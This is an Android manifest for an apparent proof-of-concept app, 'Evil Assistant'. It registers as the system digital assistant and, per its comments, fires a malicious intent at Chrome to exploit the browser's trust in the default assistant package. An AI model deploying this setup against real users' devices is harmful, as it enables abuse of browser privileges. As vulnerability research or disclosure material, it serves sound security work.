<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.evil.assistant">

    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>

    <queries>
        <package android:name="com.android.chrome"/>
        <package android:name="org.chromium.chrome"/>
    </queries>

    <application
        android:label="Evil Assistant"
        android:allowBackup="false">

        <!-- Launcher activity that fires the malicious intent at Chrome and
             then triggers an assist session. -->
        <activity
            android:name=".LauncherActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

        <!-- VoiceInteractionService: this is what makes the app eligible to be
             selected as the system "Digital assistant app" in Settings.
             Once selected, Settings.Secure."assistant" resolves to this
             package, which is what PackageUtils.getDefaultAssistantPackageName()
             returns inside Chrome. -->
        <service
            android:name=".EvilVoiceInteractionService"
            android:exported="true"
            android:permission="android.permission.BIND_VOICE_INTERACTION">
            <intent-filter>
                <action android:name="android.service.voice.VoiceInteractionService"/>
            </intent-filter>
            <meta-data
                android:name="android.voice_interaction"
                android:resource="@xml/voice_interaction_service"/>
        </service>

        <service
            android:name=".EvilVoiceInteractionSessionService"
            android:exported="true"
            android:permission="android.permission.BIND_VOICE_INTERACTION"/>

        <!-- Dummy RecognitionService so the framework accepts us as a full
             assistant on devices that require one. -->
        <service
            android:name=".EvilRecognitionService"
            android:exported="true">
            <intent-filter>
                <action android:name="android.speech.RecognitionService"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
            <meta-data
                android:name="android.speech"
                android:resource="@xml/recognition_service"/>
        </service>
    </application>
</manifest>
